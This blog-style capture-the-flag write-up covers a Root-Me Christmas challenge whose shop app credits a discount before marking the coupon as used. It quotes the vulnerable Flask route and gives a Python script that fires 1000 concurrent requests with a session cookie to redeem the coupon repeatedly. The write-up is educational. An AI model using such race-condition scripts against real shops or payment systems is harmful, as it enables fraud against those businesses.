Xmas-Rootme - (10) Root-Mi shop

25/12/2024

After having missed a few days because it was the weekend and I was away, a root-mi shop with a free discount, lets check that!


Source files : sources

We can create an account on the website, after doing so we can redeem the free 5$ discount, this gives us 5$ in our account. Unfortunately, only the flag costs 50$ and there is no other way to add money.

By looking at the source code, we can see that a code is generated and added to the database on the creation of our account. And when we use it, the app checks that the code is linked to our account in the database so we cannot use code of other accounts.

Here is the discount route, as I said just before it checks if the code is the one linked to the account, then, adds to our balance, and disable the coupon in the database.

@app.route('/discount', methods=['POST']) @login_required def discount(): user = User.query.get(session['user_id']) coupon_code = request.form.get('coupon_code') coupon = Coupon.query.filter_by(user_id=user.id, code=coupon_code).first() balance = int(user.balance) if coupon: if not coupon.used: balance += 5.0 user.balance = balance db.session.commit() anti_bruteforce(2) coupon.used = True user.can_use_coupon = False db.session.commit() flash("Your account has been credited with 5€ !") else: flash("This coupon has already been used.") else: flash("This coupon is invalid or does not belong to you.") return redirect(url_for('account'))

You might have seen the interessting anti_bruteforce(2), what is that ?

def anti_bruteforce(time): return sleep(time)

So it is just a sleep function that sleeps for 2 seconds. But how is this preventing bruteforce ?? We can see that the value is added to the balance, then a sleep for 2 seconds and then the coupon is disabled. We can just make a bunch of requests at the same time before the coupon is disabled to get multiple times the +5$ to our balance.

import requests from concurrent.futures import ThreadPoolExecutor url = "https://day10.challenges.xmas.root-me.org/discount" headers = { "Cookie": "session=eyJ1c2VyX2lkIjoxODE0fQ.Z1hshQ.HLxGvMEqTY_LWdrkjvxx43tZ2PE", "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0", } data = { "coupon_code": "898dc45a-98da-4e59-9082-3e3c49893a8b" } def send_request(request_number): response = requests.post(url, headers=headers, data=data, verify=False) print(f"Request {request_number}: Status Code {response.status_code}") with ThreadPoolExecutor(max_workers=200) as executor: futures = [executor.submit(send_request, i) for i in range(1, 1000)] for future in futures: future.result()

To make sure lets send 1000 requests because why not 🥸

image 1

After that we have 60$ in the account and we can buy the flag !

image 2